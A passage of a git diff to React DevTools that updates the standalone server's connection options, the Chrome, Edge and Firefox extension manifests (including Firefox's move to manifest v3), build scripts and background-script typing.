-  getBreakOnConsoleErrors,
-  getSavedComponentFilters,
-  getShowInlineWarningsAndErrors,
-  getHideConsoleLogsInStrictMode,
-} from 'react-devtools-shared/src/utils';
+import {getSavedComponentFilters} from 'react-devtools-shared/src/utils';
 import {registerDevToolsEventLogger} from 'react-devtools-shared/src/registerDevToolsEventLogger';
 import {Server} from 'ws';
 import {join} from 'path';
 import {readFileSync} from 'fs';
-import {installHook} from 'react-devtools-shared/src/hook';
 import DevTools from 'react-devtools-shared/src/devtools/views/DevTools';
 import {doesFilePathExist, launchEditor} from './editor';
 import {
@@ -33,9 +26,7 @@ import {
 import {localStorageSetItem} from 'react-devtools-shared/src/storage';
 
 import type {FrontendBridge} from 'react-devtools-shared/src/bridge';
-import type {Source} from 'react-devtools-shared/src/shared/types';
-
-installHook(window);
+import type {ReactFunctionLocation, ReactCallSite} from 'shared/ReactTypes';
 
 export type StatusTypes = 'server-connected' | 'devtools-connected' | 'error';
 export type StatusListener = (message: string, status: StatusTypes) => void;
@@ -153,29 +144,27 @@ async function fetchFileWithCaching(url: string) {
 }
 
 function canViewElementSourceFunction(
-  _source: Source,
-  symbolicatedSource: Source | null,
+  _source: ReactFunctionLocation | ReactCallSite,
+  symbolicatedSource: ReactFunctionLocation | ReactCallSite | null,
 ): boolean {
   if (symbolicatedSource == null) {
     return false;
   }
+  const [, sourceURL, ,] = symbolicatedSource;
 
-  return doesFilePathExist(symbolicatedSource.sourceURL, projectRoots);
+  return doesFilePathExist(sourceURL, projectRoots);
 }
 
 function viewElementSourceFunction(
-  _source: Source,
-  symbolicatedSource: Source | null,
+  _source: ReactFunctionLocation | ReactCallSite,
+  symbolicatedSource: ReactFunctionLocation | ReactCallSite | null,
 ): void {
   if (symbolicatedSource == null) {
     return;
   }
 
-  launchEditor(
-    symbolicatedSource.sourceURL,
-    symbolicatedSource.line,
-    projectRoots,
-  );
+  const [, sourceURL, line] = symbolicatedSource;
+  launchEditor(sourceURL, line, projectRoots);
 }
 
 function onDisconnected() {
@@ -317,11 +306,19 @@ type LoggerOptions = {
   surface?: ?string,
 };
 
+type ClientOptions = {
+  host?: string,
+  port?: number,
+  useHttps?: boolean,
+};
+
 function startServer(
   port: number = 8097,
   host: string = 'localhost',
   httpsOptions?: ServerOptions,
   loggerOptions?: LoggerOptions,
+  path?: string,
+  clientOptions?: ClientOptions,
 ): {close(): void} {
   registerDevToolsEventLogger(loggerOptions?.surface ?? 'standalone');
 
@@ -329,7 +326,7 @@ function startServer(
   const httpServer = useHttps
     ? require('https').createServer(httpsOptions)
     : require('http').createServer();
-  const server = new Server({server: httpServer});
+  const server = new Server({server: httpServer, maxPayload: 1e9});
   let connected: WebSocket | null = null;
   server.on('connection', (socket: WebSocket) => {
     if (connected !== null) {
@@ -356,7 +353,18 @@ function startServer(
   server.on('error', (event: $FlowFixMe) => {
     onError(event);
     log.error('Failed to start the DevTools server', event);
-    startServerTimeoutID = setTimeout(() => startServer(port), 1000);
+    startServerTimeoutID = setTimeout(
+      () =>
+        startServer(
+          port,
+          host,
+          httpsOptions,
+          loggerOptions,
+          path,
+          clientOptions,
+        ),
+      1000,
+    );
   });
 
   httpServer.on('request', (request: $FlowFixMe, response: $FlowFixMe) => {
@@ -367,38 +375,42 @@ function startServer(
     // because they are generally stored in localStorage within the context of the extension.
     // Because of this it relies on the extension to pass filters, so include them wth the response here.
     // This will ensure that saved filters are shared across different web pages.
-    const savedPreferencesString = `
-      window.__REACT_DEVTOOLS_APPEND_COMPONENT_STACK__ = ${JSON.stringify(
-        getAppendComponentStack(),
-      )};
-      window.__REACT_DEVTOOLS_BREAK_ON_CONSOLE_ERRORS__ = ${JSON.stringify(
-        getBreakOnConsoleErrors(),
-      )};
-      window.__REACT_DEVTOOLS_COMPONENT_FILTERS__ = ${JSON.stringify(
-        getSavedComponentFilters(),
-      )};
-      window.__REACT_DEVTOOLS_SHOW_INLINE_WARNINGS_AND_ERRORS__ = ${JSON.stringify(
-        getShowInlineWarningsAndErrors(),
-      )};
-      window.__REACT_DEVTOOLS_HIDE_CONSOLE_LOGS_IN_STRICT_MODE__ = ${JSON.stringify(
-        getHideConsoleLogsInStrictMode(),
-      )};`;
+    const componentFiltersString = JSON.stringify(getSavedComponentFilters());
+
+    // Client overrides: when connecting through a reverse proxy, the client
+    // may need to connect to a different host/port/protocol than the server.
+    const clientHost = clientOptions?.host ?? host;
+    const clientPort = clientOptions?.port ?? port;
+    const clientUseHttps = clientOptions?.useHttps ?? useHttps;
 
     response.end(
-      savedPreferencesString +
+      backendFile.toString() +
         '\n;' +
-        backendFile.toString() +
-        '\n;' +
-        `ReactDevToolsBackend.connectToDevTools({port: ${port}, host: '${host}', useHttps: ${
-          useHttps ? 'true' : 'false'
-        }});`,
+        `var ReactDevToolsBackend = typeof ReactDevToolsBackend !== "undefined" ? ReactDevToolsBackend : require("ReactDevToolsBackend");\n` +
+        `ReactDevToolsBackend.initialize(undefined, undefined, undefined, ${componentFiltersString});` +
+        '\n' +
+        `ReactDevToolsBackend.connectToDevTools({port: ${clientPort}, host: '${clientHost}', useHttps: ${
+          clientUseHttps ? 'true' : 'false'
+        }${path != null ? `, path: '${path}'` : ''}});
+        `,
     );
   });
 
   httpServer.on('error', (event: $FlowFixMe) => {
     onError(event);
     statusListener('Failed to start the server.', 'error');
-    startServerTimeoutID = setTimeout(() => startServer(port), 1000);
+    startServerTimeoutID = setTimeout(
+      () =>
+        startServer(
+          port,
+          host,
+          httpsOptions,
+          loggerOptions,
+          path,
+          clientOptions,
+        ),
+      1000,
+    );
   });
 
   httpServer.listen(port, () => {
diff --git a/packages/react-devtools-core/webpack.backend.js b/packages/react-devtools-core/webpack.backend.js
index 24e3ced0d7b4..67b714825c87 100644
--- a/packages/react-devtools-core/webpack.backend.js
+++ b/packages/react-devtools-core/webpack.backend.js
@@ -44,6 +44,7 @@ module.exports = {
     // This name is important; standalone references it in order to connect.
     library: 'ReactDevToolsBackend',
     libraryTarget: 'umd',
+    umdNamedDefine: true,
   },
   resolve: {
     alias: {
@@ -69,6 +70,9 @@ module.exports = {
       __PROFILE__: false,
       __TEST__: NODE_ENV === 'test',
       __IS_FIREFOX__: false,
+      __IS_CHROME__: false,
+      __IS_EDGE__: false,
+      __IS_NATIVE__: true,
       'process.env.DEVTOOLS_PACKAGE': `"react-devtools-core"`,
       'process.env.DEVTOOLS_VERSION': `"${DEVTOOLS_VERSION}"`,
       'process.env.GITHUB_URL': `"${GITHUB_URL}"`,
diff --git a/packages/react-devtools-core/webpack.standalone.js b/packages/react-devtools-core/webpack.standalone.js
index 5995876e41de..01437e7f0fb7 100644
--- a/packages/react-devtools-core/webpack.standalone.js
+++ b/packages/react-devtools-core/webpack.standalone.js
@@ -87,6 +87,10 @@ module.exports = {
       __EXTENSION__: false,
       __PROFILE__: false,
       __TEST__: NODE_ENV === 'test',
+      __IS_NATIVE__: true,
+      __IS_FIREFOX__: false,
+      __IS_CHROME__: false,
+      __IS_EDGE__: false,
       'process.env.DEVTOOLS_PACKAGE': `"react-devtools-core"`,
       'process.env.DEVTOOLS_VERSION': `"${DEVTOOLS_VERSION}"`,
       'process.env.EDITOR_URL': EDITOR_URL != null ? `"${EDITOR_URL}"` : null,
@@ -103,6 +107,7 @@ module.exports = {
           {
             loader: 'workerize-loader',
             options: {
+              // Workers would have to be exposed on a public path in order to outline them.
               inline: true,
               name: '[name]',
             },
diff --git a/packages/react-devtools-extensions/build.js b/packages/react-devtools-extensions/build.js
index 4d95af2a0a1a..1c8322cd5c98 100644
--- a/packages/react-devtools-extensions/build.js
+++ b/packages/react-devtools-extensions/build.js
@@ -6,7 +6,7 @@ const archiver = require('archiver');
 const {execSync} = require('child_process');
 const {readFileSync, writeFileSync, createWriteStream} = require('fs');
 const {copy, ensureDir, move, remove, pathExistsSync} = require('fs-extra');
-const {join, resolve} = require('path');
+const {join, resolve, basename} = require('path');
 const {getGitCommit} = require('./utils');
 
 // These files are copied along with Webpack-bundled files
@@ -66,22 +66,31 @@ const build = async (tempPath, manifestPath, envExtension = {}) => {
       stdio: 'inherit',
     },
   );
-  execSync(
-    `${webpackPath} --config webpack.backend.js --output-path ${binPath}`,
-    {
-      cwd: __dirname,
-      env: mergedEnv,
-      stdio: 'inherit',
-    },
-  );
 
   // Make temp dir
   await ensureDir(zipPath);
 
   const copiedManifestPath = join(zipPath, 'manifest.json');
 
+  let webpackStatsFilePath = null;
   // Copy unbuilt source files to zip dir to be packaged:
-  await copy(binPath, join(zipPath, 'build'));
+  await copy(binPath, join(zipPath, 'build'), {
+    filter: filePath => {
+      if (basename(filePath).startsWith('webpack-stats.')) {
+        webpackStatsFilePath = filePath;
+        // The ZIP is the actual extension and doesn't need this metadata.
+        return false;
+      }
+      return true;
+    },
+  });
+  if (webpackStatsFilePath !== null) {
+    await copy(
+      webpackStatsFilePath,
+      join(tempPath, basename(webpackStatsFilePath)),
+    );
+    webpackStatsFilePath = join(tempPath, basename(webpackStatsFilePath));
+  }
   await copy(manifestPath, copiedManifestPath);
   await Promise.all(
     STATIC_FILES.map(file => copy(join(__dirname, file), join(zipPath, file))),
@@ -120,9 +129,11 @@ const build = async (tempPath, manifestPath, envExtension = {}) => {
     archive.finalize();
     zipStream.on('close', () => resolvePromise());
   });
+
+  return webpackStatsFilePath;
 };
 
-const postProcess = async (tempPath, destinationPath) => {
+const postProcess = async (tempPath, destinationPath, webpackStatsFilePath) => {
   const unpackedSourcePath = join(tempPath, 'zip');
   const packedSourcePath = join(tempPath, 'ReactDevTools.zip');
   const packedDestPath = join(destinationPath, 'ReactDevTools.zip');
@@ -130,6 +141,14 @@ const postProcess = async (tempPath, destinationPath) => {
 
   await move(unpackedSourcePath, unpackedDestPath); // Copy built files to destination
   await move(packedSourcePath, packedDestPath); // Copy built files to destination
+  if (webpackStatsFilePath !== null) {
+    await move(
+      webpackStatsFilePath,
+      join(destinationPath, basename(webpackStatsFilePath)),
+    );
+  } else {
+    console.log('No webpack-stats.json file was generated.');
+  }
   await remove(tempPath); // Clean up temp directory and files
 };
 
@@ -158,10 +177,14 @@ const main = async buildId => {
     const tempPath = join(__dirname, 'build', buildId);
     await ensureLocalBuild();
     await preProcess(destinationPath, tempPath);
-    await build(tempPath, manifestPath, envExtension);
+    const webpackStatsFilePath = await build(
+      tempPath,
+      manifestPath,
+      envExtension,
+    );
 
     const builtUnpackedPath = join(destinationPath, 'unpacked');
-    await postProcess(tempPath, destinationPath);
+    await postProcess(tempPath, destinationPath, webpackStatsFilePath);
 
     return builtUnpackedPath;
   } catch (error) {
diff --git a/packages/react-devtools-extensions/chrome/manifest.json b/packages/react-devtools-extensions/chrome/manifest.json
index 99c9d47fd08c..9bb0ab1177ac 100644
--- a/packages/react-devtools-extensions/chrome/manifest.json
+++ b/packages/react-devtools-extensions/chrome/manifest.json
@@ -2,9 +2,9 @@
   "manifest_version": 3,
   "name": "React Developer Tools",
   "description": "Adds React debugging tools to the Chrome Developer Tools.",
-  "version": "5.3.0",
-  "version_name": "5.3.0",
-  "minimum_chrome_version": "102",
+  "version": "7.0.1",
+  "version_name": "7.0.1",
+  "minimum_chrome_version": "114",
   "icons": {
     "16": "icons/16-production.png",
     "32": "icons/32-production.png",
@@ -41,8 +41,12 @@
     "service_worker": "build/background.js"
   },
   "permissions": [
+    "scripting",
     "storage",
-    "scripting"
+    "tabs"
+  ],
+  "optional_permissions": [
+    "clipboardWrite"
   ],
   "host_permissions": [
     "<all_urls>"
diff --git a/packages/react-devtools-extensions/edge/manifest.json b/packages/react-devtools-extensions/edge/manifest.json
index 77c4f059eba2..55b7248f255b 100644
--- a/packages/react-devtools-extensions/edge/manifest.json
+++ b/packages/react-devtools-extensions/edge/manifest.json
@@ -2,9 +2,9 @@
   "manifest_version": 3,
   "name": "React Developer Tools",
   "description": "Adds React debugging tools to the Microsoft Edge Developer Tools.",
-  "version": "5.3.0",
-  "version_name": "5.3.0",
-  "minimum_chrome_version": "102",
+  "version": "7.0.1",
+  "version_name": "7.0.1",
+  "minimum_chrome_version": "114",
   "icons": {
     "16": "icons/16-production.png",
     "32": "icons/32-production.png",
@@ -41,8 +41,12 @@
     "service_worker": "build/background.js"
   },
   "permissions": [
+    "scripting",
     "storage",
-    "scripting"
+    "tabs"
+  ],
+  "optional_permissions": [
+    "clipboardWrite"
   ],
   "host_permissions": [
     "<all_urls>"
diff --git a/packages/react-devtools-extensions/firefox/manifest.json b/packages/react-devtools-extensions/firefox/manifest.json
index 70639fae88a3..f401708c2170 100644
--- a/packages/react-devtools-extensions/firefox/manifest.json
+++ b/packages/react-devtools-extensions/firefox/manifest.json
@@ -1,12 +1,12 @@
 {
-  "manifest_version": 2,
+  "manifest_version": 3,
   "name": "React Developer Tools",
   "description": "Adds React debugging tools to the Firefox Developer Tools.",
-  "version": "5.3.0",
-  "applications": {
+  "version": "7.0.1",
+  "browser_specific_settings": {
     "gecko": {
       "id": "@react-devtools",
-      "strict_min_version": "102.0"
+      "strict_min_version": "128.0"
     }
   },
   "icons": {
@@ -15,22 +15,32 @@
     "48": "icons/48-production.png",
     "128": "icons/128-production.png"
   },
-  "browser_action": {
+  "action": {
     "default_icon": {
       "16": "icons/16-disabled.png",
       "32": "icons/32-disabled.png",
       "48": "icons/48-disabled.png",
       "128": "icons/128-disabled.png"
     },
-    "default_popup": "popups/disabled.html",
-    "browser_style": true
+    "default_popup": "popups/disabled.html"
   },
   "devtools_page": "main.html",
-  "content_security_policy": "script-src 'self' 'unsafe-eval' blob:; object-src 'self'",
+  "content_security_policy": {
+    "extension_pages": "script-src 'self'; object-src 'self'"
+  },
   "web_accessible_resources": [
-    "main.html",
-    "panel.html",
-    "build/*.js"
+    {
+      "resources": [
+        "main.html",
+        "panel.html",
+        "build/*.js",
+        "build/*.js.map"
+      ],
+      "matches": [
+        "<all_urls>"
+      ],
+      "extension_ids": []
+    }
   ],
   "background": {
     "scripts": [
@@ -38,12 +48,13 @@
     ]
   },
   "permissions": [
-    "file:///*",
-    "http://*/*",
-    "https://*/*",
-    "clipboardWrite",
     "scripting",
-    "devtools"
+    "storage",
+    "tabs",
+    "clipboardWrite"
+  ],
+  "host_permissions": [
+    "<all_urls>"
   ],
   "content_scripts": [
     {
diff --git a/packages/react-devtools-extensions/flow-typed/jest.js b/packages/react-devtools-extensions/flow-typed/jest.js
index cdbe32bee7ba..66c8f0d41fe5 100644
--- a/packages/react-devtools-extensions/flow-typed/jest.js
+++ b/packages/react-devtools-extensions/flow-typed/jest.js
@@ -146,13 +146,11 @@ type JestPromiseType = {
    * Use rejects to unwrap the reason of a rejected promise so any other
    * matcher can be chained. If the promise is fulfilled the assertion fails.
    */
-  // eslint-disable-next-line no-use-before-define
   rejects: JestExpectType,
   /**
    * Use resolves to unwrap the value of a fulfilled promise so any other
    * matcher can be chained. If the promise is rejected the assertion fails.
    */
-  // eslint-disable-next-line no-use-before-define
   resolves: JestExpectType,
 };
 
@@ -1098,10 +1096,8 @@ type JestPrettyFormatColors = {
 };
 
 type JestPrettyFormatIndent = string => string;
-// eslint-disable-next-line no-unused-vars
 type JestPrettyFormatRefs = Array<any>;
 type JestPrettyFormatPrint = any => string;
-// eslint-disable-next-line no-unused-vars
 type JestPrettyFormatStringOrNull = string | null;
 
 type JestPrettyFormatOptions = {
@@ -1112,7 +1108,6 @@ type JestPrettyFormatOptions = {
   indent: number,
   maxDepth: number,
   min: boolean,
-  // eslint-disable-next-line no-use-before-define
   plugins: JestPrettyFormatPlugins,
   printFunctionName: boolean,
   spacing: string,
diff --git a/packages/react-devtools-extensions/flow-typed/npm/react-test-renderer_v16.x.x.js b/packages/react-devtools-extensions/flow-typed/npm/react-test-renderer_v16.x.x.js
index f706d830ebc0..c9a96b1d4b9f 100644
--- a/packages/react-devtools-extensions/flow-typed/npm/react-test-renderer_v16.x.x.js
+++ b/packages/react-devtools-extensions/flow-typed/npm/react-test-renderer_v16.x.x.js
@@ -52,7 +52,6 @@ type TestRendererOptions = {
 };
 
 declare module 'react-test-renderer' {
-  // eslint-disable-next-line no-inner-declarations
   declare export type ReactTestRenderer = {
     toJSON(): null | ReactTestRendererJSON,
     toTree(): null | ReactTestRendererTree,
diff --git a/packages/react-devtools-extensions/package.json b/packages/react-devtools-extensions/package.json
index 5f9d473e2349..9dfceea840a0 100644
--- a/packages/react-devtools-extensions/package.json
+++ b/packages/react-devtools-extensions/package.json
@@ -8,6 +8,7 @@
     "build:chrome": "cross-env NODE_ENV=production node ./chrome/build",
     "build:chrome:fb": "cross-env NODE_ENV=production FEATURE_FLAG_TARGET=extension-fb node ./chrome/build --crx",
     "build:chrome:local": "cross-env NODE_ENV=development node ./chrome/build",
+    "build:chrome:fb:local": "cross-env NODE_ENV=development FEATURE_FLAG_TARGET=extension-fb node ./chrome/build",
     "build:firefox": "cross-env NODE_ENV=production node ./firefox/build",
     "build:firefox:local": "cross-env NODE_ENV=development node ./firefox/build",
     "build:edge": "cross-env NODE_ENV=production node ./edge/build",
@@ -27,6 +28,7 @@
     "@babel/plugin-transform-modules-commonjs": "^7.10.4",
     "@babel/plugin-transform-react-jsx-source": "^7.10.5",
     "@babel/preset-react": "^7.10.4",
+    "@jridgewell/sourcemap-codec": "1.5.5",
     "acorn-jsx": "^5.2.0",
     "archiver": "^3.0.0",
     "babel-core": "^7.0.0-bridge",
@@ -59,14 +61,14 @@
     "raw-loader": "^3.1.0",
     "rimraf": "^5.0.1",
     "source-map-js": "^0.6.2",
-    "sourcemap-codec": "^1.4.8",
     "style-loader": "^0.23.1",
     "webpack": "^5.82.1",
     "webpack-cli": "^5.1.1",
     "webpack-dev-server": "^4.15.0",
+    "webpack-stats-plugin": "^1.1.3",
     "workerize-loader": "^2.0.2"
   },
   "dependencies": {
-    "web-ext": "^4"
+    "web-ext": "^8"
   }
 }
diff --git a/packages/react-devtools-extensions/src/background/dynamicallyInjectContentScripts.js b/packages/react-devtools-extensions/src/background/dynamicallyInjectContentScripts.js
index e19030457a89..84624b021bc6 100644
--- a/packages/react-devtools-extensions/src/background/dynamicallyInjectContentScripts.js
+++ b/packages/react-devtools-extensions/src/background/dynamicallyInjectContentScripts.js
@@ -1,58 +1,46 @@
 /* global chrome */
 
-// Firefox doesn't support ExecutionWorld.MAIN yet
-// equivalent logic for Firefox is in prepareInjection.js
-const contentScriptsToInject = __IS_FIREFOX__
-  ? [
-      {
-        id: '@react-devtools/proxy',
-        js: ['build/proxy.js'],
-        matches: ['<all_urls>'],
-        persistAcrossSessions: true,
-        runAt: 'document_end',
-      },
-      {
-        id: '@react-devtools/file-fetcher',
-        js: ['build/fileFetcher.js'],
-        matches: ['<all_urls>'],
-        persistAcrossSessions: true,
-        runAt: 'document_end',
-      },
-    ]
-  : [
-      {
-        id: '@react-devtools/proxy',
-        js: ['build/proxy.js'],
-        matches: ['<all_urls>'],
-        persistAcrossSessions: true,
-        runAt: 'document_end',
-        world: chrome.scripting.ExecutionWorld.ISOLATED,
-      },
-      {
-        id: '@react-devtools/file-fetcher',
-        js: ['build/fileFetcher.js'],
-        matches: ['<all_urls>'],
-        persistAcrossSessions: true,
-        runAt: 'document_end',
-        world: chrome.scripting.ExecutionWorld.ISOLATED,
-      },
-      {
-        id: '@react-devtools/hook',
-        js: ['build/installHook.js'],
-        matches: ['<all_urls>'],
-        persistAcrossSessions: true,
-        runAt: 'document_start',
-        world: chrome.scripting.ExecutionWorld.MAIN,
-      },
-      {
-        id: '@react-devtools/renderer',
-        js: ['build/renderer.js'],
-        matches: ['<all_urls>'],
-        persistAcrossSessions: true,
-        runAt: 'document_start',
-        world: chrome.scripting.ExecutionWorld.MAIN,
-      },
-    ];
+const contentScriptsToInject = [
+  {
+    id: '@react-devtools/proxy',
+    js: ['build/proxy.js'],
+    matches: ['<all_urls>'],
+    persistAcrossSessions: true,
+    runAt: 'document_start',
+    world: chrome.scripting.ExecutionWorld.ISOLATED,
+  },
+  {
+    id: '@react-devtools/file-fetcher',
+    js: ['build/fileFetcher.js'],
+    matches: ['<all_urls>'],
+    persistAcrossSessions: true,
+    runAt: 'document_end',
+    world: chrome.scripting.ExecutionWorld.ISOLATED,
+  },
+  {
+    id: '@react-devtools/fallback-eval-context',
+    js: ['build/fallbackEvalContext.js'],
+    matches: ['<all_urls>'],
+    persistAcrossSessions: true,
+    runAt: 'document_start',
+    world: chrome.scripting.ExecutionWorld.MAIN,
+  },
+  {
+    id: '@react-devtools/hook',
+    js: ['build/installHook.js'],
+    matches: ['<all_urls>'],
+    persistAcrossSessions: true,
+    runAt: 'document_start',
+    world: chrome.scripting.ExecutionWorld.MAIN,
+  },
+  {
+    id: '@react-devtools/hook-settings-injector',
+    js: ['build/hookSettingsInjector.js'],
+    matches: ['<all_urls>'],
+    persistAcrossSessions: true,
+    runAt: 'document_start',
+  },
+];
 
 async function dynamicallyInjectContentScripts() {
   try {
@@ -61,9 +49,6 @@ async function dynamicallyInjectContentScripts() {
     // This fixes registering proxy content script in incognito mode
     await chrome.scripting.unregisterContentScripts();
 
-    // equivalent logic for Firefox is in prepareInjection.js
-    // Manifest V3 method of injecting content script
-    // TODO(hoxyq): migrate Firefox to V3 manifests
     // Note: the "world" option in registerContentScripts is only available in Chrome v102+
     // It's critical since it allows us to directly run scripts on the "main" world on the page
     // "document_start" allows it to run before the page's scripts
diff --git a/packages/react-devtools-extensions/src/background/executeScript.js b/packages/react-devtools-extensions/src/background/executeScript.js
index efe73229ecff..a196a7391cdf 100644
--- a/packages/react-devtools-extensions/src/background/executeScript.js
+++ b/packages/react-devtools-extensions/src/background/executeScript.js
@@ -1,41 +1,20 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
 /* global chrome */
 
-// Firefox doesn't support ExecutionWorld.MAIN yet
-// https://bugzilla.mozilla.org/show_bug.cgi?id=1736575
-function executeScriptForFirefoxInMainWorld({target, files}) {
-  return chrome.scripting.executeScript({
-    target,
-    func: fileNames => {
-      function injectScriptSync(src) {
-        let code = '';
-        const request = new XMLHttpRequest();
-        request.addEventListener('load', function () {
-          code = this.responseText;
-        });
-        request.open('GET', src, false);
-        request.send();
-
-        const script = document.createElement('script');
-        script.textContent = code;
-
-        // This script runs before the <head> element is created,
-        // so we add the script to <html> instead.
-        if (document.documentElement) {
-          document.documentElement.appendChild(script);
-        }
-
-        if (script.parentNode) {
-          script.parentNode.removeChild(script);
-        }
-      }
-
-      fileNames.forEach(file => injectScriptSync(chrome.runtime.getURL(file)));
-    },
-    args: [files],
-  });
-}
-
-export function executeScriptInIsolatedWorld({target, files}) {
+export function executeScriptInIsolatedWorld({
+  target,
+  files,
+}: {
+  files: any,
+  target: any,
+}): Promise<void> {
   return chrome.scripting.executeScript({
     target,
     files,
@@ -43,14 +22,20 @@ export function executeScriptInIsolatedWorld({target, files}) {
   });
 }
 
-export function executeScriptInMainWorld({target, files}) {
-  if (__IS_FIREFOX__) {
-    return executeScriptForFirefoxInMainWorld({target, files});
-  }
-
+export function executeScriptInMainWorld({
+  target,
+  files,
+  injectImmediately,
+}: {
+  files: any,
+  target: any,
+  // It's nice to have this required to make active choices.
+  injectImmediately: boolean,
+}): Promise<void> {
   return chrome.scripting.executeScript({
     target,
     files,
+    injectImmediately,
     world: chrome.scripting.ExecutionWorld.MAIN,
   });
 }
diff --git a/packages/react-devtools-extensions/src/background/index.js b/packages/react-devtools-extensions/src/background/index.js
index b25eb5303319..0ed719c20b22 100644
--- a/packages/react-devtools-extensions/src/background/index.js
+++ b/packages/react-devtools-extensions/src/background/index.js
@@ -1,4 +1,12 @@
-/* global chrome */
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+/* global chrome, ExtensionRuntimePort */
 
 'use strict';
 
@@ -12,20 +20,19 @@ import {
   handleFetchResourceContentScriptMessage,
 } from './messageHandlers';
 
-/*
-  {
-    [tabId]: {
-      extension: ExtensionPort,
-      proxy: ProxyPort,
-      disconnectPipe: Function,
-    },
-    ...
-   }
- */
-const ports = {};
-
-function registerTab(tabId) {
+const ports: {
+  // TODO: Check why we convert tab IDs to strings, and if we can avoid it
+  [tabId: string]: {
+    extension: ExtensionRuntimePort | null,
+    proxy: ExtensionRuntimePort | null,
+    disconnectPipe: Function | null,
+  },
+} = {};
+
+function registerTab(tabId: number) {
+  // $FlowFixMe[incompatible-type]
   if (!ports[tabId]) {
+    // $FlowFixMe[incompatible-type]
     ports[tabId] = {
       extension: null,
       proxy: null,
@@ -34,18 +41,21 @@ function registerTab(tabId) {
   }
 }
 
-function registerExtensionPort(port, tabId) {
+function registerExtensionPort(port: ExtensionRuntimePort, tabId: number) {
+  // $FlowFixMe[incompatible-type]
   ports[tabId].extension = port;
 
   port.onDisconnect.addListener(() => {
     // This should delete disconnectPipe from ports dictionary
+    // $FlowFixMe[incompatible-type]
     ports[tabId].disconnectPipe?.();
 
-    delete ports[tabId].extension;
+    // $FlowFixMe[incompatible-type]
+    ports[tabId].extension = null;
   });
 }
 
-function registerProxyPort(port, tabId) {
+function registerProxyPort(port: ExtensionRuntimePort, tabId: string) {
   ports[tabId].proxy = port;
 
   // In case proxy port was disconnected from the other end, from content script
@@ -54,7 +64,7 @@ function registerProxyPort(port, tabId) {
   port.onDisconnect.addListener(() => {
     ports[tabId].disconnectPipe?.();
 
-    delete ports[tabId].proxy;
+    ports[tabId].proxy = null;
   });
 }
 
@@ -73,14 +83,22 @@ chrome.runtime.onConnect.addListener(port => {
     // Proxy content script is executed in tab, so it should have it specified.
     const tabId = port.sender.tab.id;
 
-    if (ports[tabId]?.proxy) {
-      ports[tabId].disconnectPipe?.();
-      ports[tabId].proxy.disconnect();
+    // $FlowFixMe[incompatible-type]
+    const registeredPort = ports[tabId];
+    const proxy = registeredPort?.proxy;
+    if (proxy) {
+      registeredPort.disconnectPipe?.();
+      proxy.disconnect();
     }
 
     registerTab(tabId);
-    registerProxyPort(port, tabId);
+    registerProxyPort(
+      port,
+      // $FlowFixMe[incompatible-call]
+      tabId,
+    );
 
+    // $FlowFixMe[incompatible-type]
     if (ports[tabId].extension) {
       connectExtensionAndProxyPorts(
         ports[tabId].extension,
@@ -97,8 +115,13 @@ chrome.runtime.onConnect.addListener(port => {
     const tabId = +port.name;
 
     registerTab(tabId);
-    registerExtensionPort(port, tabId);
+    registerExtensionPort(
+      port,
+      // $FlowFixMe[incompatible-call]
+      tabId,
+    );
 
+    // $FlowFixMe[incompatible-type]
     if (ports[tabId].proxy) {
       connectExtensionAndProxyPorts(
         ports[tabId].extension,
@@ -114,26 +137,33 @@ chrome.runtime.onConnect.addListener(port => {
   console.warn(`Unknown port ${port.name} connected`);
 });
 
-function connectExtensionAndProxyPorts(extensionPort, proxyPort, tabId) {
-  if (!extensionPort) {
+function connectExtensionAndProxyPorts(
+  maybeExtensionPort: ExtensionRuntimePort | null,
+  maybeProxyPort: ExtensionRuntimePort | null,
+  tabId: number,
+) {
+  if (!maybeExtensionPort) {
     throw new Error(
       `Attempted to connect ports, when extension port is not present`,
     );
   }
+  const extensionPort = maybeExtensionPort;
 
-  if (!proxyPort) {
+  if (!maybeProxyPort) {
     throw new Error(
       `Attempted to connect ports, when proxy port is not present`,
     );
   }
+  const proxyPort = maybeProxyPort;
 
+  // $FlowFixMe[incompatible-type]
   if (ports[tabId].disconnectPipe) {
     throw new Error(
       `Attempted to connect already connected ports for tab with id ${tabId}`,
     );
   }
 
-  function extensionPortMessageListener(message) {
+  function extensionPortMessageListener(message: any) {
     try {
       proxyPort.postMessage(message);
     } catch (e) {
@@ -145,7 +175,7 @@ function connectExtensionAndProxyPorts(extensionPort, proxyPort, tabId) {
     }
   }
 
-  function proxyPortMessageListener(message) {
+  function proxyPortMessageListener(message: any) {
     try {
       extensionPort.postMessage(message);
     } catch (e) {
@@ -164,6 +194,7 @@ function connectExtensionAndProxyPorts(extensionPort, proxyPort, tabId) {
     // We handle disconnect() calls manually, based on each specific case
     // No need to disconnect other port here
 
+    // $FlowFixMe[incompatible-type]
     delete ports[tabId].disconnectPipe;
   }
 
diff --git a/packages/react-devtools-extensions/src/background/messageHandlers.js b/packages/react-devtools-extensions/src/background/messageHandlers.js
index 5afcd6aadcc0..f762d6464cab 100644
--- a/packages/react-devtools-extensions/src/background/messageHandlers.js
+++ b/packages/react-devtools-extensions/src/background/messageHandlers.js
@@ -1,5 +1,6 @@
 /* global chrome */
 
+import {__DEBUG__} from 'react-devtools-shared/src/constants';
 import setExtensionIconAndPopup from './setExtensionIconAndPopup';
 import {executeScriptInMainWorld} from './executeScript';
 
@@ -25,6 +26,7 @@ export function handleBackendManagerMessage(message, sender) {
       payload.versions.forEach(version => {
         if (EXTENSION_CONTAINED_VERSIONS.includes(version)) {
           executeScriptInMainWorld({
+            injectImmediately: true,
             target: {tabId: sender.tab.id},
             files: [`/build/react_devtools_backend_${version}.js`],
           });
@@ -46,22 +48,26 @@ export function handleDevToolsPageMessage(message) {
         payload: {tabId, url},
       } = message;
 
-      if (!tabId) {
-        throw new Error("Couldn't fetch file sources: tabId not specified");
-      }
-
-      if (!url) {
-        throw new Error("Couldn't fetch file sources: url not specified");
+      if (!tabId || !url) {
+        // Send a response straight away to get the Promise fulfilled.
+        chrome.runtime.sendMessage({
+          source: 'react-devtools-background',
+          payload: {
+            type: 'fetch-file-with-cache-error',
+            url,
+            value: null,
+          },
+        });
+      } else {
+        chrome.tabs.sendMessage(tabId, {
+          source: 'devtools-page',
+          payload: {
+            type: 'fetch-file-with-cache',
+            url,
+          },
+        });
       }
 
